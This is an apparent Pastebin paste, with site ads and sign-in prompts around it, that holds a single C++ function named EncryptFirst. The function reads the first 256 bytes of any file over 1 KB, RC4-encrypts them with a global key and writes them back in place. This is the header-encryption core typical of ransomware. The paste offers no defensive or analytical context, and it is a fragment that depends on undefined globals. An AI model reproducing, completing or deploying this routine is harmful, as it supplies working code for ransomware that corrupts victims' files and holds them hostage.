Advertisement
Guest User

Untitled

a guest
Apr 22nd, 2019
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.01 KB | None | 0 0
  1. void EncryptFirst(LPCWSTR path)
  2. {
  3.     FILE* p_file = fopen(utf8_encode(path).c_str(), "rb");
  4.     if (p_file)
  5.     {
  6.         _fseeki64(p_file, 0, SEEK_END);
  7.         INT64 size = _ftelli64(p_file);
  8.         fclose(p_file);
  9.  
  10.         if (size > 1024)
  11.         {
  12.             HANDLE hFileRead, hFileWrite;
  13.             DWORD dwBytesRead, dwBytesWritten, dwPos;
  14.  
  15.             hFileRead = CreateFileW(path, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  16.             dwPos = SetFilePointer(hFileRead, 0, NULL, 0);
  17.             ReadFile(hFileRead, buff, 256, &dwBytesRead, NULL);
  18.             CloseHandle(hFileRead);
  19.  
  20.             struct rc4_state* s;
  21.             s = (struct rc4_state*) malloc(sizeof(struct rc4_state));
  22.             rc4_setup(s, (unsigned char*)RC4key, strlen((const char*)RC4key));
  23.             rc4_crypt(s, buff, strlen((const char*)buff));
  24.  
  25.             hFileWrite = CreateFileW(path, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  26.             dwPos = SetFilePointer(hFileWrite, 0, NULL, 0);
  27.             WriteFile(hFileWrite, buff, dwBytesRead, &dwBytesWritten, NULL);
  28.             CloseHandle(hFileWrite);
  29.             free(s);
  30.         }
  31.     }
  32. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement